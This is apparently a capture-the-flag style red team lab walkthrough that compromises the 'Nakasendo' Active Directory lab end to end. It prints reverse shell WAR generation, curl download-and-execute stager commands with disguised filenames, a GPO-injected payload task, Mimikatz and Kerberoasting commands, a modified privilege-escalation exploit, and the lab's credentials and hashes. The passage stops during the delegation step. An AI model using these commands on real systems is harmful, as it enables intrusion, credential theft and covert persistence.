Post

Nakasendo - Red Team Lab Walkthrough

Overview

Nakasendo is a multi-machine Red Team lab requiring a complete Active Directory compromise across a DMZ boundary. The engagement begins with an encrypted archive delivered through the lab’s Discord bot. Cracking the archive and parsing a Remote Desktop Manager session file exposes a set of cleartext credentials, one of which grants access to an Apache Tomcat Manager interface on the externally exposed web server (10.10.10.66).

A malicious WAR file is deployed through Tomcat, landing a reverse shell as NT AUTHORITY\LOCAL SERVICE. The SeImpersonatePrivilege privilege on this account enables a potato-style impersonation attack (EfsPotato) to escalate to SYSTEM on the WEB-DMZ machine. Local Administrator NTLM hashes are dumped and used to pivot across the internal 10.0.0.0/24 segment via Pass-the-Hash after establishing a network tunnel through Ligolo-ng.

Inside the internal network, LSA secrets and DPAPI credential vaults are harvested from TSERVER01, revealing domain user credentials and the TSERVER01 machine account hash. BloodHound analysis of the tokyo.local domain identifies a critical GPO misconfiguration: TSERVER01 holds write-equivalent permissions over the DISABLE_WINDOWS_DEFENDER GPO. This is abused via pyGPOAbuse to inject a malicious scheduled task that executes a Sliver C2 implant on TFILE01 as SYSTEM.

Mimikatz on TFILE01 recovers an in-memory NTLM hash for masato.watanabe. BloodHound reveals that masato.watanabe has WriteSPN rights over ryo.kato, enabling a Targeted Kerberoasting attack that yields ryo.kato’s plaintext password. This grants WinRM access to TLEGACY, where the CVE-2023-36802 Microsoft Streaming Service Proxy privilege escalation vulnerability is exploited to achieve SYSTEM.

TLEGACY’s machine account hash is extracted and used to abuse its Constrained Delegation with Protocol Transition rights targeting cifs/TSERVER02.tokyo.local. An S4U2Proxy attack impersonates the domain Administrator and dumps TSERVER02’s secrets remotely via impacket-secretsdump. DonPAPI extracts a TaskScheduler credential for neji.yamato from TSERVER02’s DPAPI vaults. This account has WinRM access to DC01 (10.0.0.100), completing the domain compromise.


Initial Access - WEB-DMZ

Credential Recovery

Starting the Lab and Obtaining the ZIP Archive

The lab was started via the Ronin66 Discord bot using the #start command. RoninBot responded with a file attachment: TOKYO_devolution.zip (4.45 KB), which serves as the engagement’s entry point. The lab details confirm the initial entry vector is through this archive, with the target machine assigned IP 10.10.10.66.

Figure 1: Discord bot RoninBot providing the TOKYO_devolution.zip archive and confirming the target IP address (10.10.10.66) for the Nakasendo Red Team Lab.

Extracting the ZIP File

Attempting a standard extraction with unzip immediately revealed a problem:

1
2
3
unzip TOKYO_devolution.zip
Archive:  TOKYO_devolution.zip
   skipping: TOKYO_devolution.rdm    unsupported compression method 99

Compression method 99 corresponds to AES-256 encryption, which the standard unzip utility cannot handle. The file is password-protected. Rather than brute-forcing blind, we used zip2john to extract the encrypted hash in a format suitable for offline cracking:

1
2
zip2john TOKYO_devolution.zip | tee TOKYO.hash
TOKYO_devolution.zip/TOKYO_devolution.rdm:$zip2$*0*3*0*df510201f241eaf6b6a4fa56410533b4*7dc2*9f0<..SNIP..>6989c2934917de3c4b4f160f94cbaaa41f329ea3cdb06fec56a2721f121d4*de70e76e04d056b964ce*$/zip2$:TOKYO_devolution.rdm:TOKYO_devolution.zip:TOKYO_devolution.zip

The tool successfully extracted the PBKDF2-SHA1 hash protecting the archive and saved it to TOKYO.hash.

Figure 2: zip2john successfully extracting the AES-256 password hash from TOKYO_devolution.zip into a John the Ripper–compatible format.

Cracking the ZIP Password

We ran John the Ripper against the extracted hash using the rockyou.txt wordlist:

1
2
3
4
5
6
7
8
9
john TOKYO.hash -w=/usr/share/seclists/Passwords/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 4319 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
IREMBERMYPASSWORD (TOKYO_devolution.zip/TOKYO_devolution.rdm)
1g 0:00:01:26 DONE (2026-06-11 08:00) 0.01162g/s 128821p/s 128821c/s 128821C/s JANNES..INLOVEWITU_07
Session completed.

The archive password cracked in approximately 86 seconds: IREMBERMYPASSWORD.

Figure 3: John the Ripper cracking the ZIP archive password to IREMBERMYPASSWORD using the rockyou.txt wordlist.

Parsing the RDM Session File

The archive contained a single file: TOKYO_devolution.rdm - a Remote Desktop Manager session export file. These files store saved connection profiles including credentials for RDP, VNC, SSH, HTTP, and other protocols. We transferred the file to a local Windows VM and used the Remote Desktop Manager PowerShell module to parse it:

1
2
3
$session = Read-RDMSession -Filename ".\TOKYO_devolution.rdm" -DuplicateAction "Add"
Set-RDMSession $session[0]
$session | Select-Object HostUserName, HostPassword, HostDomain, HostFull

The command dumped four saved connection profiles:

UsernamePasswordDomainTarget / Notes
Administratork5sMdc?QnkEJTOKYO.LOCALRDP - Domain Controller
yuki.nakamuraPleas3ch@ngeth1sP@ss! TFILE01:445
testthisisthevnctest!tokyo.localVNC Deploy
apache_adminAdmin123apache123! http://10.0.0.66

The most immediately useful credential is apache_admin:Admin123apache123!, which appears to authenticate against an HTTP service. While the RDM profile references 10.0.0.66, the externally accessible target is 10.10.10.66. We also noted that the Domain Administrator password is stored in cleartext within this file - an extremely sensitive finding that confirms domain-level credential exposure through this single archive.


Enumeration

Nmap Scan

We ran an initial TCP connect scan against the target to identify exposed services:

1
2
3
4
5
6
7
8
9
10
11
12
sudo nmap -sT -Pn 10.10.10.66
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-11 08:09 +0100
Nmap scan report for 10.10.10.66
Host is up (0.13s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5357/tcp open  wsdapi
5985/tcp open  wsman
8080/tcp open  http-proxy
PortServiceSignificance
135MSRPCWindows RPC endpoint mapper
139NetBIOS-SSNLegacy SMB over NetBIOS
445SMBFile sharing; we have credentials from the RDM file
5357WSD APIWindows Web Services Discovery
5985WinRM (HTTP)PowerShell remoting; we have credentials from the RDM file
8080HTTPWeb server - matches the apache_admin credential target

No RDP port (3389) was present, indicating the Domain Controller is not directly reachable from this segment. The combination of SMB, WinRM, and an HTTP service - all with matching credentials from the RDM file - provides multiple exploitation paths.

HTTP Enumeration

Web Application - The Nakasendo Way

Browsing to http://10.10.10.66:8080 reveals a static webpage titled “The Nakasendo Way - The Ancient Path of the Samurai”, confirming an active web server.

Figure 4: The Nakasendo Way web application running on port 8080 of the target machine.

Directory Discovery with dirsearch

We ran dirsearch against port 8080 to identify hidden paths and application endpoints:

1
dirsearch -u http://10.10.10.66:8080/

The scan identified two significant paths:

1
2
3
4
[08:10:29] 302 -    0B  - /apache  ->  /apache/
[08:10:31] 200 -   11KB - /apache/
[08:10:41] 302 -    0B  - /docs  ->  /docs/
[08:10:42] 403 -  904B  - /docs/

Figure 5: dirsearch discovering the /apache/ path on the target web server.

The /apache/ path returned a 200 response with 11KB of content - consistent with an Apache Tomcat default landing page.

Apache Tomcat 9.0.113

Navigating to http://10.10.10.66:8080/apache/ confirmed a default Apache Tomcat 9.0.113 installation page. This is significant: Tomcat ships with a web management interface at /manager/html that allows deploying arbitrary Java web applications - a classic remote code execution vector if accessible with valid credentials.

Figure 6: Default Apache Tomcat 9.0.113 page at /apache/, confirming a Java application server is running.


Initial Access

Tomcat Manager Authentication

We navigated to http://10.10.10.66:8080/apache/manager/html and authenticated using the credentials recovered from the RDM file:

  • Username: apache_admin
  • Password: Admin123apache123!

The login succeeded, granting full access to the Tomcat Manager Application. The interface displayed all currently deployed applications, including the main Nakasendo Way application, and - critically - a WAR file deployment upload section at the bottom of the page.

Figure 7: Tomcat Manager Application authenticated as apache_admin, showing running web applications and the WAR file deployment upload form.

Generating a Malicious WAR File

Apache Tomcat’s Manager interface allows uploading and deploying Java Web ARchive (WAR) files. We used msfvenom to generate a malicious WAR containing a JSP reverse shell payload:

1
2
3
4
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.8.0.5 LPORT=8002 -f war -o upshell.war
Payload size: 1092 bytes
Final size of war file: 1092 bytes
Saved as: upshell.war

The payload is a JSP-based TCP reverse shell that will call back to our attack machine at 10.8.0.5 on port 8002. The WAR format packages this into a deployable Java web application that Tomcat will host at a path matching the filename.

Deploying the WAR and Catching the Shell

We uploaded upshell.war through the Tomcat Manager deploy section and simultaneously started a netcat listener on port 8002:

1
rlwrap nc -nvlp 8002

Figure 8: Uploading the malicious WAR file through the Tomcat Manager and starting the netcat listener.

Tomcat deployed the application at /upshell. Navigating to http://10.10.10.66:8080/apache/upshell triggered the JSP reverse shell, which connected back to our listener.

Figure 9: Triggering the deployed WAR application at /upshell to execute the JSP reverse shell payload.

The shell connected from 10.10.10.66:

Figure 10: Reverse shell received - running as NT AUTHORITY\LOCAL SERVICE with SeImpersonatePrivilege and SeCreateGlobalPrivilege enabled.

We are now operating as NT AUTHORITY\LOCAL SERVICE. Running whoami /priv revealed two critical enabled privileges:

  • SeImpersonatePrivilege - Allows the process to impersonate any client that authenticates to it, enabling token impersonation attacks.
  • SeCreateGlobalPrivilege - Allows creation of global objects in the named pipe namespace.

SeImpersonatePrivilege is the key privilege here and is the basis for the potato family of privilege escalation exploits.


Establishing C2 - Sliver Beacon

The initial reverse shell through netcat is fragile and lacks stealth. We transitioned to Sliver C2 for a more stable, operator-grade implant. We generated a Windows x64 mTLS beacon on the Sliver server, configured to check in every 30 seconds with up to 15 seconds of random jitter to evade detection:

1
2
3
4
5
6
7
8
9
10
11
12
13
[127.0.0.1] sliver > generate beacon --seconds 30 --jitter 15 --mtls 10.8.0.5:443 \
  --os windows --arch amd64 --format shellcode \
  --save /home/r00tv/Ronin66/loader/Stage_1/shellc.bin --skip-symbols

[*] Generating new windows/amd64 beacon implant binary (30s)
[!] Symbol obfuscation is disabled
[*] Build completed in 4s
[*] Implant saved to /home/r00tv/Ronin66/loader/Stage_1/shellc.bin

[127.0.0.1] sliver > mtls --lhost 10.8.0.5 --lport 443

[*] Starting mTLS listener ...
[*] Successfully started job #2

The beacon shellcode was wrapped in a stager loader. We hosted both the stager and the shellcode via a Python HTTP server and used the existing reverse shell to download and execute them:

1
curl 10.8.0.5/stager.exe -o googlev1.exe

The file was deliberately named googlev1.exe to blend into expected process names on a Windows host. It was placed in C:\Windows\Tasks to avoid drawing attention.

Figure 11: Sliver C2 beacon configuration - mTLS listener active on port 443, beacon shellcode generated for Windows x64.

Figure 12: Downloading the stager from the attacker’s Python HTTP server via the initial reverse shell.

Figure 13: Python HTTP server logs confirming the target fetched both stager.exe and shellc.bin, indicating the beacon is executing.

The Sliver beacon AWFUL_FENDER checked in successfully from 10.10.10.66 as NT AUTHORITY\LOCAL SERVICE, running from C:\Windows\Tasks\googlev1.exe and communicating over mTLS. We switched it to interactive mode for real-time command execution.

Figure 14: Sliver beacon AWFUL_FENDER checking in from WEB-DMZ (10.10.10.66) as LOCAL SERVICE, communicating via mTLS.


Privilege Escalation - EfsPotato (SeImpersonatePrivilege)

Confirming our privileges through Sliver:

Figure 15: whoami /priv output confirming SeImpersonatePrivilege is Enabled on the LOCAL SERVICE account.

SeImpersonatePrivilege enables a class of attacks known as potato exploits. These techniques work by coercing a privileged service (typically NT AUTHORITY\SYSTEM) into authenticating to a named pipe controlled by our process, then stealing and impersonating that token to execute code as SYSTEM.

We used EfsPotato, which leverages the Windows Encrypting File System (EFS) RPC interface to trigger the SYSTEM-level authentication required for the impersonation:

Figure 16: EfsPotato successfully abusing SeImpersonatePrivilege - a new Sliver beacon is established as WORKGROUP\WEB-DMZ$ (machine account = SYSTEM) on Windows Server 2016.

The exploit spawned a new Sliver beacon running as WORKGROUP\WEB-DMZ$ - the machine account, which carries SYSTEM-level privileges. The session information confirmed the target is running Windows Server 2016 in the WEB-DMZ network segment. We now have full administrative control of the machine.


Post-Exploitation - WEB-DMZ

Local Hash Dump

With SYSTEM-level access, we ran hashdump through the Sliver session to extract all local account NTLM hashes from the SAM database:

1
2
3
4
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b86ce020727a5752958f1fd71c2a57fc:::::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:2086779226f4955991b1fc8399b52946:::::

Figure 17: Sliver hashdump recovering local NTLM hashes from WEB-DMZ, including the local Administrator hash.

The critical value is the local Administrator NTLM hash: b86ce020727a5752958f1fd71c2a57fc. If this password is reused across other machines in the environment - a common misconfiguration - we can authenticate without needing the plaintext password using Pass-the-Hash.

Network Interface Discovery

Running ifconfig through the Sliver session revealed a critical finding:

Figure 18: WEB-DMZ has two network interfaces - 10.10.10.66/24 (external DMZ) and 10.0.0.66/24 (internal segment) - confirming it is dual-homed and acts as a network bridge.

The machine has two network interfaces:

  • 10.10.10.66/24 - the external WEB-DMZ network we came from
  • 10.0.0.66/24 - a previously unknown internal network segment

This dual-homed configuration means WEB-DMZ acts as a bridge between the external DMZ and the internal tokyo.local network. This is our pivot point.


Internal Network - Pivoting via Ligolo-ng

Establishing the Network Tunnel

To route traffic from our Kali machine directly into the internal 10.0.0.0/24 network, we set up Ligolo-ng, a lightweight tunneling tool that uses a TLS-encrypted agent/proxy architecture.

We started the Ligolo-ng proxy server on our Kali machine, listening on port 11601:

Figure 19: Ligolo-ng proxy server started on Kali, listening on port 11601 for agent connections.

We then executed the Ligolo-ng agent on the WEB-DMZ machine via the Sliver session, connecting it back to our proxy:

1
ligolo-ng -t 120 -- -connect 10.8.0.5:11601 -ignore-cert

Figure 20: Ligolo-ng agent connecting from WEB-DMZ (as WORKGROUP\WEB-DMZ$) back to the proxy on the Kali attack machine.

The agent connected successfully. We then configured the tunnel in the Ligolo-ng proxy console:

1
2
3
4
interface_create --name Nakasendo-lab
interface_add_route --name Nakasendo-lab --route 10.0.0.0/24
listener_add --addr 0.0.0.0:11601 --to 0.0.0.0:11601
tunnel_start --tun Nakasendo-lab

Figure 21: Ligolo-ng tunnel Nakasendo-lab Online - route 10.0.0.0/24 added, enabling direct access to the internal network from Kali.

The Nakasendo-lab tunnel interface is now Online. All traffic destined for 10.0.0.0/24 from our Kali machine will be automatically routed through the compromised WEB-DMZ machine.

Internal Network Discovery

With the tunnel active, we swept the internal segment using NetExec:

Figure 22: NetExec SMB sweep of 10.0.0.0/24 through the Ligolo-ng tunnel, discovering 5 hosts in the tokyo.local domain.

Six hosts were discovered across the tokyo.local domain and the WEB-DMZ workgroup:

IPHostnameOS / BuildDomainRole
10.0.0.66WEB-DMZWindows Server 2019 Build 17763WEB-DMZWeb server (pivot host)
10.0.0.100DC01Windows Server 2019 Build 17763tokyo.localDomain Controller
10.0.0.150TSERVER01Windows Server 2019 Build 17763tokyo.localInternal server
10.0.0.154TSERVER02Windows Server 2019 Build 17763tokyo.localInternal server
10.0.0.172TFILE01Windows Server 2016 Build 17763tokyo.localFile server
10.0.0.175TLEGACYWindows 10 / Server 2019 Build 19041tokyo.localLegacy workstation

DC01 was identified as accepting Null Authentication - a potential enumeration opportunity. TFILE01 and TSERVER02 are of particular interest given the credentials already in hand from the RDM file and the domain name pattern.


Pass-the-Hash - Internal Lateral Movement

We sprayed the WEB-DMZ Administrator NTLM hash across the entire internal subnet using NetExec:

Figure 23: Pass-the-Hash spray of the WEB-DMZ local Administrator hash across 10.0.0.0/24 - returning Pwn3d! on TSERVER01 (10.0.0.150) and WEB-DMZ itself (10.0.0.66).

Two machines accepted the hash and returned Pwn3d!:

  • TSERVER01 (10.0.0.150) - confirming password reuse
  • WEB-DMZ (10.0.0.66) - expected, as this is the source of the hash

The remaining machines (TLEGACY, TSERVER02, DC01, TFILE01) returned STATUS_LOGON_FAILURE, indicating they use different local Administrator passwords. This is a common misconfiguration when systems are built from the same base image without per-machine password randomization.


Active Directory Enumeration

LSA Secrets Extraction - TSERVER01

Using the Administrator hash against TSERVER01 (10.0.0.150), we dumped its LSA secrets - a Windows registry hive that stores service account credentials, cached domain logon hashes, and machine account secrets:

1
2
netexec smb 10.0.0.150 -u administrator -H b86ce020727a5752958f1fd71c2a57fc \
  --local-auth --lsa
1
2
3
4
5
6
SMB  10.0.0.150  445  TSERVER01  [+] TSERVER01\administrator:b86ce020727a5752958f1fd71c2a57fc (Pwn3d!)
SMB  10.0.0.150  445  TSERVER01  [*] Dumping LSA secrets
SMB  10.0.0.150  445  TSERVER01  TOKYO.LOCAL/hiro.kobayashi:$DCC2$10240#hiro.kobayashi#d4fcba8fc94cfe602eb494b6b9c5c68f: (2026-06-11 07:36:24)
SMB  10.0.0.150  445  TSERVER01  TOKYO\TSERVER01$:aes256-cts-hmac-sha1-96:f37db6cca38d65975b9a6f72c77d96c8074cadb85e59c79217ddb567b00a0eed
SMB  10.0.0.150  445  TSERVER01  TOKYO\TSERVER01$:aad3b435b51404eeaad3b435b51404ee:4d03926d71568400232cc76e346cad9a:::
SMB  10.0.0.150  445  TSERVER01  dpapi_machinekey:0xb154da2a653079333c57850408ced97564bf0756

Figure 24: LSA secrets dump from TSERVER01 revealing a cached DCC2 hash for hiro.kobayashi and the TSERVER01 machine account NTLM hash.

Key findings:

  • TOKYO.LOCAL/hiro.kobayashi - a DCC2 (MS-Cache v2) hash. While slow to crack, this confirms the user has logged into TSERVER01 interactively.
  • TOKYO\TSERVER01$ NTLM: 4d03926d71568400232cc76e346cad9a - the machine account hash, which can be used to authenticate as the computer account to other domain services.

DPAPI Credential Recovery - DonPAPI on TSERVER01

We ran DonPAPI against TSERVER01 to collect all cached credentials accessible through DPAPI master key decryption:

1
DonPAPI collect -t 10.0.0.150 -u administrator -H :b86ce020727a5752958f1fd71c2a57fc -c All
1
[10.0.0.150] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{CF34A72A-ACB8-4633-BA8A-4766C5692DCD} - TOKYO\hiro.kobayashi:Thisisdifferent03#

Figure 25: DonPAPI recovering the plaintext credential TOKYO\hiro.kobayashi:Thisisdifferent03# from a TaskScheduler DPAPI vault on TSERVER01.

DonPAPI decrypted the Windows Credential Manager entry used by a scheduled task, revealing the plaintext password: hiro.kobayashi:Thisisdifferent03#. This is a domain account that we can now use for authenticated AD enumeration.

Recovered credentials at this stage:

1
2
TOKYO\TSERVER01$:aad3b435b51404eeaad3b435b51404ee:4d03926d71568400232cc76e346cad9a
TOKYO\hiro.kobayashi:Thisisdifferent03#

BloodHound AD Enumeration

Data Collection with RustHound-CE

We used RustHound-CE - a Rust implementation of the BloodHound ingestor - authenticated as hiro.kobayashi to perform a comprehensive LDAP enumeration of the tokyo.local domain via DC01 (10.0.0.100):

1
2
3
/home/r00tv/.cargo/bin/rusthound-ce --domain tokyo.local \
  -u hiro.kobayashi -p 'Thisisdifferent03#' \
  -z -c All -f dc01.tokyo.local -n 10.0.0.100

Figure 26: RustHound-CE collecting BloodHound data from the tokyo.local domain - 17 users, 61 groups, 5 computers, 5 GPOs, and 73 containers enumerated.

The collection completed successfully, enumerating 17 users, 61 groups, 5 computers, 1 domain, 5 GPOs, and 73 containers - all saved into a zip file for BloodHound import.

BloodHound Analysis

We imported the RustHound output into BloodHound Community Edition:

Figure 27: Importing the RustHound-CE collected data into BloodHound Community Edition for attack path analysis.

BloodHound immediately surfaced a critical misconfiguration:

Figure 28: BloodHound revealing that TSERVER01 holds WriteDacl, GenericWrite, and WriteOwner permissions over the DISABLE_WINDOWS_DEFENDER GPO - enabling full GPO modification.

TSERVER01 has three powerful permission edges over the DISABLE_WINDOWS_DEFENDER GPO:

  • WriteDacl - Can modify the GPO’s access control list to grant any permissions
  • GenericWrite - Can modify GPO attributes and content
  • WriteOwner - Can take ownership of the GPO

Combined, these permissions give us complete control over that GPO. Any machine the GPO is linked to and applied to will execute whatever we write into it. This is our path to code execution on additional machines.


Lateral Movement

GPO Abuse - TFILE01 Compromise

Setting Up the C2 Infrastructure for the Internal Network

Internal machines cannot reach our Kali attack machine directly - they can only communicate through WEB-DMZ (the dual-homed pivot). We configured port forwarding through Ligolo-ng on the WEB-DMZ machine to expose two services on the internal IP (10.0.0.66):

  • Port 8001 - Python HTTP server (to serve the stager payload)
  • Port 4443 - Sliver mTLS listener (to receive C2 callbacks from internal machines)

Figure 29: Ligolo-ng port forwarding configured on WEB-DMZ - ports 8001 and 4443 forwarded from the internal IP back to Kali.

We generated a new Sliver beacon configured to call back to 10.0.0.66:4443 (the internal pivot address) and started a new mTLS listener on port 4443:

Figure 30: New Sliver mTLS listener on port 4443 - beacon shellcode configured to call back through the WEB-DMZ internal IP.

Identifying the Target GPO

Using PowerView authenticated as hiro.kobayashi against DC01, we queried the DISABLE_WINDOWS_DEFENDER GPO to retrieve its GUID:

1
{43D3602C-1A0A-41E1-98C4-017F9A571369}

The GPO is stored at \\tokyo.local\SysVol\tokyo.local\Policies\{43D3602C-1A0A-41E1-98C4-017F9A571369}. Since TSERVER01 has write permissions over this GPO, we can inject malicious content that will execute on any machine the GPO applies to.

Figure 31: PowerView querying the DISABLE_WINDOWS_DEFENDER GPO and retrieving its GUID {43D3602C-1A0A-41E1-98C4-017F9A571369}.

Injecting a Malicious Scheduled Task via pyGPOAbuse

We used pyGPOAbuse - authenticated as the TSERVER01 machine account using its NTLM hash - to inject a malicious scheduled task into the GPO:

1
2
3
4
5
6
7
python3 pygpoabuse.py tokyo.local/'TSERVER01$' \
  -dc-ip 10.0.0.100 \
  -hashes :4d03926d71568400232cc76e346cad9a \
  -gpo-id 43D3602C-1A0A-41E1-98C4-017F9A571369 \
  -taskname "Tasks_WINDOWS_DEFENDER" \
  -description "DISABLE WINDOWS DEFENDER" \
  -command "curl.exe http://10.0.0.66:8001/stager.exe -o C:\Windows\Tasks\stager.exe && C:\Windows\Tasks\stager.exe"

The machine account hash (4d03926d71568400232cc76e346cad9a) is used here because TSERVER01 - the computer object - holds the GPO write permissions in BloodHound. Machine accounts can authenticate to domain services using their NTLM hash.

Figure 32: pyGPOAbuse injecting the malicious scheduled task Tasks_WINDOWS_DEFENDER into the GPO using TSERVER01’s machine account hash.

The injected task downloads stager.exe from the internal HTTP server (10.0.0.66:8001) and executes it. On the next Group Policy refresh cycle (or when triggered manually), all machines with this GPO applied will execute the payload.

Figure 33: Python HTTP server logs confirming the target machines fetched stager.exe and shellc.bin - the GPO was applied and the payload is executing.

TFILE01 Beacon - SYSTEM Access

A new Sliver beacon CRUEL_CANON checked in from TFILE01 (10.0.0.172) running as TOKYO\TFILE01$ - the machine account, which corresponds to SYSTEM-level privileges. The beacon is running on Windows Server 2016 build 17763 and communicating through the pivot at mtls://10.0.0.66:4443.

Figure 34: Sliver beacon CRUEL_CANON checking in from TFILE01 as TOKYO\TFILE01$ (SYSTEM), confirming successful GPO-based code execution.

Credential Harvesting - TFILE01

Mimikatz - In-Memory Credential Dump

With SYSTEM access on TFILE01, we executed Mimikatz via the Sliver session to dump credentials from LSASS memory:

1
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit"

The output revealed an actively logged-on domain user:

1
2
3
4
5
6
7
8
9
10
11
12
Authentication Id : 0 ; 7506985 (00000000:00728c29)
Session           : Batch from 0
User Name         : masato.watanabe
Domain            : TOKYO
Logon Server      : DC01
SID               : S-1-5-21-2090552568-303917382-3655801225-1112
        msv :
         * Username : masato.watanabe
         * Domain   : TOKYO
         * NTLM     : 774d331b175fdbeeaa91510eda87f063
         * SHA1     : a7f13da0f9e11652e755fb2416a6aefa5525ca4f
         * DPAPI    : dfdbefdf36ad4dac0fc63f05f21153f9

Figure 35: Mimikatz sekurlsa::logonpasswords recovering masato.watanabe’s NTLM hash from active LSASS memory on TFILE01.

The user masato.watanabe is authenticated against DC01, making this NTLM hash operationally significant.

Targeted Kerberoasting - ryo.kato

BloodHound - WriteSPN Privilege

BloodHound analysis revealed a critical permission for masato.watanabe:

Figure 36: BloodHound showing masato.watanabe has WriteSPN rights over ryo.kato@tokyo.local, enabling a Targeted Kerberoasting attack.

masato.watanabe holds WriteSPN over ryo.kato@tokyo.local. This means we can write a Service Principal Name (SPN) attribute to ryo.kato’s account. The significance: any domain account with an SPN can have a Kerberos TGS ticket requested for it, and that ticket is encrypted with the account’s NTLM hash - making it crackable offline. This is Targeted Kerberoasting.

Requesting and Cracking the TGS Ticket

We used targetedKerberoast to atomically set a fake SPN on ryo.kato and immediately request the TGS ticket:

1
2
python3 targetedKerberoast.py -d tokyo.local \
  -u masato.watanabe -p 'ImpossibileJappone09#' --only-abuse
1
2
3
4
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (ryo.kato)
$krb5tgs$23$*ryo.kato$TOKYO.LOCAL$tokyo.local/ryo.kato*$d6b850a58524052343c39619f8eb5f19$...

Figure 37: targetedKerberoast setting a fake SPN on ryo.kato and immediately retrieving the Kerberos TGS hash for offline cracking.

We cracked the hash offline using hashcat with the RC4 encryption mode (13100):

1
2
hashcat -m 13100 hash.ryo.kato /usr/share/seclists/Passwords/rockyou.txt --show
$krb5tgs$23$*ryo.kato$TOKYO.LOCAL$...:volleyball#7

Figure 38: hashcat cracking the ryo.kato Kerberos TGS hash, recovering the plaintext password volleyball#7.

ryo.kato’s password cracked to: volleyball#7.

TLEGACY - WinRM Access and Privilege Escalation

Initial Access via WinRM

We verified the credentials and confirmed WinRM access to TLEGACY (10.0.0.175):

1
2
netexec winrm 10.0.0.175 -u ryo.kato -p 'volleyball#7'
WINRM  10.0.0.175  5985  TLEGACY  [+] tokyo.local\ryo.kato:volleyball#7 (Pwn3d!)

Figure 39: NetExec confirming ryo.kato has WinRM access to TLEGACY (10.0.0.175) with Pwn3d! status.

We established an interactive Evil-WinRM session on TLEGACY and confirmed our identity and privilege level:

Figure 40: Evil-WinRM shell on TLEGACY as tokyo\ryo.kato - whoami /priv shows no exploitable privileges at this level.

As ryo.kato, we have no elevated privileges - no SeImpersonatePrivilege, no SeDebugPrivilege. We need a local privilege escalation exploit to reach SYSTEM.

Stager Deployment on TLEGACY

Before exploiting the LPE vulnerability, we staged the Sliver beacon payload on TLEGACY from the Evil-WinRM session:

1
2
*Evil-WinRM* PS C:\windows\tasks> curl 10.0.0.66:8001/stager.exe -o c:\windows\tasks\googlev3.exe
*Evil-WinRM* PS C:\windows\tasks> dir

Figure 41: Downloading the Sliver stager (googlev3.exe, 700 KB) from the internal HTTP server to TLEGACY’s C:\Windows\Tasks directory via Evil-WinRM.

The stager googlev3.exe (700,474 bytes) was successfully placed on the target, ready to be triggered by the privilege escalation exploit.

CVE-2023-36802 - Microsoft Streaming Service Proxy LPE

TLEGACY runs Windows 10 build 19041–19045, which is vulnerable to CVE-2023-36802 - a local privilege escalation vulnerability in the Microsoft Streaming Service Proxy (ksthunk.sys). The vulnerability involves a kernel memory corruption issue that allows an unprivileged user to gain SYSTEM-level code execution.

We compiled a public proof-of-concept exploit on a local Windows VM and modified the source code to call our stager as the final payload:

1
2
// Inserted into the exploit's post-escalation execution block:
system("C:\\Windows\\tasks\\googlev3.exe");

Figure 42: Visual Studio compiling the modified CVE-2023-36802 exploit - the payload calls system() to execute googlev3.exe as SYSTEM after privilege escalation.

The compiled exploit was served via our HTTP server and downloaded to TLEGACY as google_patch.exe to maintain operational cover:

1
2
*Evil-WinRM* PS C:\windows\tasks> curl 10.0.0.66:8001/CVE-2023-36802.exe -o c:\windows\tasks\google_patch.exe
*Evil-WinRM* PS C:\windows\tasks> .\google_patch.exe

Figure 43: Evil-WinRM session downloading the compiled CVE-2023-36802 exploit (google_patch.exe) and executing it on TLEGACY.

Figure 44: Python HTTP server logs confirming TLEGACY fetched both the exploit binary and shellc.bin beacon shellcode - indicating successful SYSTEM-level execution.

The exploit triggered, elevated privileges to SYSTEM, executed googlev3.exe, which loaded the beacon shellcode and called back to our Sliver mTLS listener. A new CRUEL_CANON beacon checked in from TLEGACY as TOKYO\TLEGACY$ (Windows 10 build 19045):

Figure 45: Sliver C2 receiving the new CRUEL_CANON beacon from TLEGACY as TOKYO\TLEGACY$ (SYSTEM), confirming successful CVE-2023-36802 exploitation.

We now have SYSTEM access on TLEGACY.

Post-Exploitation - TLEGACY Credential Harvest

With SYSTEM-level access, we ran Mimikatz through the Sliver session to dump credentials:

1
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit"

The output included the TLEGACY machine account’s Kerberos plaintext password stored in memory:

1
2
3
4
5
6
7
8
9
10
11
12
Authentication Id : 0 ; 53039 (00000000:0000cf2f)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
        msv :
         * Username : TLEGACY$
         * Domain   : TOKYO
         * NTLM     : e9afa296a63851c6739b3176a826bcd7
        kerberos :
         * Username : TLEGACY$
         * Domain   : tokyo.local
         * Password : .!W9E.wZ6kD7%\ZdW95$Cr`]^@*Q5S0M-m04Kl&O7BJ\)de#u9?o_WmiGNG\JN3NA6pvY0J=d3YR8!9hkUqN=L0JE_TjW$mlaXjYvzuGVq4hb1dJ:[,;htN3

Figure 46: Mimikatz on TLEGACY recovering the TLEGACY$ machine account NTLM hash and plaintext Kerberos password from LSASS.

The TLEGACY$ machine account NTLM hash is e9afa296a63851c6739b3176a826bcd7.

We also ran hashdump to recover local account hashes:

1
2
Administrator:500:aad3b435b51404eeaad3b435b51404ee:22a81ac77e32538f495854b0a685e77e:::::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::

Figure 47: hashdump on TLEGACY recovering local Administrator NTLM hash 22a81ac77e32538f495854b0a685e77e.

Constrained Delegation Abuse - TSERVER02

Discovering the Delegation Configuration

We used impacket-findDelegation to query the domain for any accounts with Kerberos delegation configured:

1
impacket-findDelegation tokyo.local/hiro.kobayashi:'Thisisdifferent03#'
1
2
3
4
5
